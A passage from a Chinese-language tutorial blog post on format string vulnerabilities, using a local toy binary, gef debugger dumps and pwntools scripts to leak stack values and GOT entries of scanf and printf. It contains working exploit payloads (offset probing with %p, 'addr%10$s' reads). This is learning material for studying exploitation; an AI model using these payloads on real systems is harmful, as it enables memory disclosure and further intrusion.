()─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n")[#1] 0x804851d → main()gef➤ cContinuing.00000001.22222222.ffffffff.%sBreakpoint 1, __printf (format=0xffffd008 "%s") at printf.c:2828 in printf.c[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0xffffd008 → 0x00007325 ("%s"?)$ebx : 0x0 $ecx : 0x7fffffe2$edx : 0xf7fb7870 → 0x00000000$esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10$ebp : 0xffffd078 → 0x00000000$esi : 0xf7fb6000 → 0x001b1db0$edi : 0xf7fb6000 → 0x001b1db0$eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>$eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ────0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp0xffffcfe0│+0x0004: 0xffffd008 → 0x00007325 ("%s"?)0xffffcfe4│+0x0008: 0xffffd008 → 0x00007325 ("%s"?)0xffffcfe8│+0x000c: 0xf7ffd918 → 0x000000000xffffcfec│+0x0010: 0x00f0b5ff0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x000000000xffffcff4│+0x0018: 0x000000010xffffcff8│+0x001c: 0x000000c2─────────────────────────────────────────────────────────────── code:x86:32 ──── 0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4] 0xf7e4d66d nop 0xf7e4d66e xchg ax, ax → 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> ↳ 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp] 0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ────__x86.get_pc_thunk.ax ()─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0xf7e4d670 → __printf(format=0xffffd008 "%s")[#1] 0x804852c → main()gef➤ cContinuing.%s[Inferior 1 (process 4344) exited normally]<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看出,在第二次执行printf函数的时候,确实将0xffffcfe4处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。</p><p><strong>当然,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。</strong></p><p>此外,我们也可以指定获取栈上第几个参数作为格式化字符串输出,比如我们指定第 printf 的第 4 个参数,如下,此时程序就不能够解析,就崩溃了。</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ ./leakmemory %3$s00000001.22222222.ffffffff.%3$sSegmentation fault (core dumped)<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p><strong>小技巧总结</strong></p><blockquote><ol><li>利用%x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。</li><li>利用%s来获取变量所对应地址的内容,只不过有零截断。</li><li>利用%order$x来获取指定参数的值,利用%order$s来获取指定参数对应地址的内容。</li></ol></blockquote><h4 id="泄露任意地址内存"><a href="#泄露任意地址内存" class="headerlink" title="泄露任意地址内存"></a>泄露任意地址内存</h4><p>可以看出,在上面无论是泄露栈上连续的变量,还是说泄露指定的变量值,我们都没能完全控制我们所要泄露的变量的地址。这样的泄露固然有用,可是却不够强力有效。有时候,我们可能会想要泄露某一个 libc 函数的 got 表内容,从而得到其地址,进而获取 libc 版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。那么我们究竟能不能这样做呢?自然也是可以的啦。</p><p>我们再仔细回想一下,一般来说,在格式化字符串漏洞中,我们所读取的格式化字符串在栈上的(因为是某个函数的局部变量,本例中s是main函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,<strong>第一个参数的值其实就是该格式化字符串的地址。</strong>我们选择上面的某个函数调用为例</p><pre class="line-numbers language-shell"><code class="language-shell">Breakpoint 1, __printf (format=0xffffd008 "%s") at printf.c:2828 in printf.c[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0xffffd008 → 0x00007325 ("%s"?)$ebx : 0x0 $ecx : 0x7fffffe2$edx : 0xf7fb7870 → 0x00000000$esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10$ebp : 0xffffd078 → 0x00000000$esi : 0xf7fb6000 → 0x001b1db0$edi : 0xf7fb6000 → 0x001b1db0$eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>$eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ────0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp0xffffcfe0│+0x0004: 0xffffd008 → 0x00007325 ("%s"?)0xffffcfe4│+0x0008: 0xffffd008 → 0x00007325 ("%s"?)0xffffcfe8│+0x000c: 0xf7ffd918 → 0x000000000xffffcfec│+0x0010: 0x00f0b5ff0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x000000000xffffcff4│+0x0018: 0x000000010xffffcff8│+0x001c: 0x000000c2<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看出在栈上的第二个变量就是我们的格式化字符串地址0xffffd008,同时该地址存储的也确实是”%s”格式化字符串内容。</p><p>那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容。</p><pre><code>addr%k$s</code></pre><blockquote><p>注:在这里,如果格式化字符串在栈上,那么我们就一定能确定格式化字符串的相对偏移,这是因为在函数调用的时候栈指针至少地域格式化字符串地址8字节或者16字节。</p></blockquote><p>下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定</p><pre><code>[tag]%p%p%p%p...</code></pre><p>一般来说,我们会重复某个字符的机器字长来作为tag,而后面会跟上若干个%p来输出栈上的内容,如果内容与我们前面的tag重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址,之所以说是有很大把握,这是因为不排除栈上有一些临时变量也是该数值。一般情况下,极其少见,我们也可以更换其它字符进行尝试,进行再次确认。这里我们利用字符’A’作为特定字符,同时还是利用之前编译好的程序,如下</p><pre><code>devil@ubuntu:~$ ./leakmemory AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%pAAAA0xff9e92880xf7f959180xf0b5ff0xff9e92ae0x10xc20x10x222222220xffffffff0x414141410x702570250x702570250x702570250x702570250x70257025</code></pre><p>这里0x414141处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第11个参数,也是格式化字符串的第10个参数。(此处和CTF-Wiki上有出入)我们可以来测试一下</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ ./leakmemory %10$s00000001.22222222.ffffffff.%10$sSegmentation fault (core dumped)<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>可以看出,我们的程序崩溃了,为什么呢?这是因为我们试图将该格式化字符串所对应的值作为地址进行解析,但是显然该值没有办法作为一个合法的地址被解析,所以程序就崩溃了。具体的可以参考下面的调试。</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ gdb leakmemorygef➤ rStarting program: /home/devil/leakmemory %10$s00000001.22222222.ffffffff.%10$sProgram received signal SIGSEGV, Segmentation fault.__strlen_ia32 () at ../sysdeps/i386/i686/multiarch/../../i586/strlen.S:5151 ../sysdeps/i386/i686/multiarch/../../i586/strlen.S: No such file or directory.[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0x24303125 ("%10$"?)$ebx : 0x0 $ecx : 0xf7fb6000 → 0x001b1db0$edx : 0x1 $esp : 0xffffc4ec → 0xf7e45977 → <printf_positional+7575> add esp, 0x10$ebp : 0xffffca98 → 0xffffcfb8 → 0xffffd078 → 0x00000000$esi : 0xffffc680 → 0xffffffff$edi : 0xf7fb6d60 → 0xfbad2a84$eip : 0xf7e795cf → <__strlen_ia32+15> cmp BYTE PTR [eax], dh$eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow RESUME virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ────0xffffc4ec│+0x0000: 0xf7e45977 → <printf_positional+7575> add esp, 0x10 ← $esp0xffffc4f0│+0x0004: "%10$"0xffffc4f4│+0x0008: 0x000000000xffffc4f8│+0x000c: 0x00000028 ("("?)0xffffc4fc│+0x0010: 0x000000000xffffc500│+0x0014: 0xffffd008 → "%10$s"0xffffc504│+0x0018: 0x000000000xffffc508│+0x001c: 0x00000000─────────────────────────────────────────────────────────────── code:x86:32 ──── 0xf7e795c8 <__strlen_ia32+8> add BYTE PTR [ecx], ah 0xf7e795ca <__strlen_ia32+10> ret 0x2474 0xf7e795cd <__strlen_ia32+13> jp 0xf7e795e6 <__strlen_ia32+38> → 0xf7e795cf <__strlen_ia32+15> cmp BYTE PTR [eax], dh 0xf7e795d1 <__strlen_ia32+17> je 0xf7e79676 <__strlen_ia32+182> 0xf7e795d7 <__strlen_ia32+23> inc eax 0xf7e795d8 <__strlen_ia32+24> cmp BYTE PTR [eax], dh 0xf7e795da <__strlen_ia32+26> je 0xf7e79676 <__strlen_ia32+182> 0xf7e795e0 <__strlen_ia32+32> inc eax─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "leakmemory", stopped 0xf7e795cf in __strlen_ia32 (), reason: SIGSEGV───────────────────────────────────────────────────────────────────── trace ────[#0] 0xf7e795cf → __strlen_ia32()[#1] 0xf7e45977 → printf_positional(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=0xffffd008 "%10$s", readonly_format=0x0, ap=<optimized out>, ap_savep=0xffffcb7c, done=0x0, nspecs_done=0x0, lead_str_end=0xffffd008 "%10$s", work_buffer=0xffffcbb8 "@\001", save_errno=0x0, grouping=0x0, thousands_sep=0xf7f5f7d2 "")[#2] 0xf7e46401 → _IO_vfprintf_internal(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=<optimized out>, ap=0xffffcfe4 "\b\320\377\377\030\331\377\367\377\265", <incomplete sequence \360>)[#3] 0xf7e4d696 → __printf(format=0xffffd008 "%10$s")[#4] 0x804852c → main()gef➤ help x/Examine memory: x/FMT ADDRESS.ADDRESS is an expression for the memory address to examine.FMT is a repeat count followed by a format letter and a size letter.Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal), t(binary), f(float), a(address), i(instruction), c(char), s(string) and z(hex, zero padded on the left).Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).The specified number of objects of the specified size are printedaccording to the format.Defaults for format and size letters are those previously used.Default count is 1. Default address is following last thing printedwith this command or "print".gef➤ x/x 0xffffd0080xffffd008: 0x24303125gef➤ vmmap[ Legend: Code | Heap | Stack ]Start End Offset Perm Path0x08048000 0x08049000 0x00000000 r-x /home/devil/leakmemory0x08049000 0x0804a000 0x00000000 r-- /home/devil/leakmemory0x0804a000 0x0804b000 0x00001000 rw- /home/devil/leakmemory0x0804b000 0x0806c000 0x00000000 rw- [heap]0xf7e03000 0xf7e04000 0x00000000 rw- 0xf7e04000 0xf7fb4000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so0xf7fb4000 0xf7fb6000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so0xf7fb6000 0xf7fb7000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so0xf7fb7000 0xf7fba000 0x00000000 rw- 0xf7fd3000 0xf7fd4000 0x00000000 rw- 0xf7fd4000 0xf7fd7000 0x00000000 r-- [vvar]0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]0xf7fd9000 0xf7ffc000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so0xfffdd000 0xffffe000 0x00000000 rw- [stack]gef➤ x/x 0x243031250x24303125: Cannot access memory at address 0x24303125<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>显然0xffffd008处所对应的格式化字符串所对应的变量值0x24303125并不能够被该程序访问,所以程序自然就崩溃了。</p><p>那么如果我们设置一个可以访问的地址呢?比如说scanf@got,结果会怎么样呢?应该自然是输出scanf对应的地址了。我们不妨来试一下。</p><p>首先,获取scanf@got的地址,如下</p><pre class="line-numbers language-shell"><code class="language-shell">gef➤ got/home/devil/leakmemory: file format elf32-i386DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE 08049ffc R_386_GLOB_DAT __gmon_start__0804a00c R_386_JUMP_SLOT printf@GLIBC_2.00804a010 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.40804a014 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.00804a018 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>下面我们利用pwntools构造payload如下</p><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>sh <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./leakmemory'</span><span class="token punctuation">)</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'./leakmemory'</span><span class="token punctuation">)</span>__isoc99_scanf_got <span class="token operator">=</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">'__isoc99_scanf'</span><span class="token punctuation">]</span><span class="token keyword">print</span><span class="token punctuation">(</span>hex<span class="token punctuation">(</span>__isoc99_scanf_got<span class="token punctuation">)</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> p32<span class="token punctuation">(</span>__isoc99_scanf_got<span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">'%10$s'</span><span class="token keyword">print</span><span class="token punctuation">(</span>payload<span class="token punctuation">)</span>gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>sh<span class="token punctuation">)</span>sh<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>sh<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'%10$s\n'</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>hex<span class="token punctuation">(</span>u32<span class="token punctuation">(</span>sh<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">:</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#remove the first bytes of __isoc99_scanf@got</span>sh<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其实,我们使用gdb.attach(sh)来进行调试。当我们运行到第二个printf函数的时候(要在调试窗口用 “b printf”命令给printf函数下断点),可以看到我们的第四个参数(stack上第一个地址是返回地址,第二个是格式化字符串地址,之后依次为第一…四个参数)确实指向我们的scanf的地址,这里输出</p><pre class="line-numbers language-shell"><code class="language-shell">gef➤ cContinuing.Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:2828 printf.c: No such file or directory.[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp$ebx : 0x0 $ecx : 0x1 $edx : 0xf7f1d87c → 0x00000000$esp : 0xff8ccb9c → 0x0804851d → <main+98> add esp, 0x20$ebp : 0xff8ccc48 → 0x00000000$esi : 0xf7f1c000 → 0x001b1db0$edi : 0xf7f1c000 → 0x001b1db0$eip : 0xf7db3670 → <printf+0> call 0xf7e89b59 <__x86.get_pc_thunk.ax>$eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ────0xff8ccb9c│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp0xff8ccba0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n"0xff8ccba4│+0x0008: 0x000000010xff8ccba8│+0x000c: 0x222222220xff8ccbac│+0x0010: 0xffffffff0xff8ccbb0│+0x0014: 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp0xff8ccbb4│+0x0018: 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp0xff8ccbb8│+0x001c: 0xf7f63918 → 0x00000000─────────────────────────────────────────────────────────────── code:x86:32 ──── 0xf7db3667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4] 0xf7db366d nop 0xf7db366e xchg ax, ax → 0xf7db3670 <printf+0> call 0xf7e89b59 <__x86.get_pc_thunk.ax> ↳ 0xf7e89b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7e89b5c <__x86.get_pc_thunk.ax+3> ret 0xf7e89b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7e89b60 <__x86.get_pc_thunk.dx+3> ret 0xf7e89b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp] 0xf7e89b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ────__x86.get_pc_thunk.ax ()─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "leakmemory", stopped 0xf7db3670 in __printf (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0xf7db3670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n")[#1] 0x804851d → main()<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>同时,在我们运行的terminal下</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ python exp.py[+] Starting local process './leakmemory': pid 2673[*] '/home/devil/leakmemory' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)0x804a018\x18\x04%10$s[*] running in new terminal: /usr/bin/gdb -q "./leakmemory" 2673 -x "/tmp/pwnqnvV9v.gdb"[+] Waiting for debugger: Done0xf7dc60c0[*] Switching to interactive mode[*] Process './leakmemory' stopped with exit code 0 (pid 2673)[*] Got EOF while reading in interactive$ <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>我们确实得到了scanf的地址。</p><blockquote><p>Wiki上这里是用scanf举例说明的,并且表示之所以没有使用printf函数,是因为printf函数会对0a,0b,0c,00等字符有一些奇怪的处理,导致无法正常读入。</p></blockquote><p>所以我就尝试了一下泄露printf函数的地址。</p><p>构造payload如下</p><pre class="line-numbers language-python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>sh <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./leakmemory'</span><span class="token punctuation">)</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'./leakmemory'</span><span class="token punctuation">)</span>printf_got <span class="token operator">=</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">'printf'</span><span class="token punctuation">]</span><span class="token keyword">print</span><span class="token punctuation">(</span>hex<span class="token punctuation">(</span>printf_got<span class="token punctuation">)</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> p32<span class="token punctuation">(</span>printf_got<span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">'%10$s'</span><span class="token keyword">print</span><span class="token punctuation">(</span>payload<span class="token punctuation">)</span>gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>sh<span class="token punctuation">)</span>sh<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>sh<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'%10$s\n'</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>hex<span class="token punctuation">(</span>u32<span class="token punctuation">(</span>sh<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">:</span><span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>sh<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>terminal运行结果如下</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ python exp.py[+] Starting local process './leakmemory': pid 2747[*] '/home/devil/leakmemory' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)0x804a00c\x0c\x04%10$s[*] running in new terminal: /usr/bin/gdb -q "./leakmemory" 2747 -x "/tmp/pwn71yrFD.gdb"[+] Waiting for debugger: DoneTraceback (most recent call last): File "exp.py", line 11, in <module> print(hex(u32(sh.recv()[4:8]))) File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 82, in recv return self._recv(numb, timeout) or b'' File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 160, in _recv if not self.buffer and not self._fillbuffer(timeout): File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 131, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/process.py", line 707, in recv_raw raise EOFErrorEOFError[*] Process './leakmemory' stopped with exit code -11 (SIGSEGV) (pid 2747)<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>栈上的值如下</p><pre class="line-numbers language-shell"><code class="language-shell">gef➤ cContinuing.Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:2828 printf.c: No such file or directory.[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0xffc82d58 → 0x250804a0$ebx : 0x0 $ecx : 0x1 $edx : 0xf7eca87c → 0x00000000$esp : 0xffc82d1c → 0x0804851d → <main+98> add esp, 0x20$ebp : 0xffc82dc8 → 0x00000000$esi : 0xf7ec9000 → 0x001b1db0$edi : 0xf7ec9000 → 0x001b1db0$eip : 0xf7d60670 → <printf+0> call 0xf7e36b59 <__x86.get_pc_thunk.ax>$eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ────0xffc82d1c│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp0xffc82d20│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n"0xffc82d24│+0x0008: 0x000000010xffc82d28│+0x000c: 0x222222220xffc82d2c│+0x0010: 0xffffffff0xffc82d30│+0x0014: 0xffc82d58 → 0x250804a00xffc82d34│+0x0018: 0xffc82d58 → 0x250804a00xffc82d38│+0x001c: 0xf7f10918 → 0x00000000─────────────────────────────────────────────────────────────── code:x86:32 ──── 0xf7d60667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4] 0xf7d6066d nop 0xf7d6066e xchg ax, ax → 0xf7d60670 <printf+0> call 0xf7e36b59 <__x86.get_pc_thunk.ax> ↳ 0xf7e36b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7e36b5c <__x86.get_pc_thunk.ax+3> ret 0xf7e36b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7e36b60 <__x86.get_pc_thunk.dx+3> ret 0xf7e36b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp] 0xf7e36b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ────__x86.get_pc_thunk.ax ()─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "leakmemory", stopped 0xf7d60670 in __printf (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0xf7d60670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n")[#1] 0x804851d → main()<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可见程序并没有如同预期一样输出printf的地址。</p><p>有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容位于机器字长整数倍的地址处,一般来说,类似于下面的这个样子。</p><pre><code>[padding][addr]</code></pre><p>注意</p><blockquote><p>我们在gef中使用got命令的时候,已经打印出了printf的got地址</p><p>0804a00c R_386_JUMP_SLOT <a href="mailto:printf@GLIBC_2.0">printf@GLIBC_2.0</a></p><p>但是我们不能直接在命令行输入\x0c\xa0\x04\x08%4$s 这是因为虽然前面的确实是printf@got的地址,但是,scanf函数并不会将其识别为对应的字符串,而是会将\,x,0,c分别作为一个字符进行读入。下面就是错误的例子。</p></blockquote><pre class="line-numbers language-shell"><code class="language-shell">gef➤ rStarting program: /home/devil/leakmemory \\x0c\\xa0\\x04\\x08%10$s00000001.22222222.ffffffff.\\x0c\\xa0\\x04\\x08%10$sProgram received signal SIGSEGV, Segmentation fault.__strlen_ia32 () at ../sysdeps/i386/i686/multiarch/../../i586/strlen.S:9494 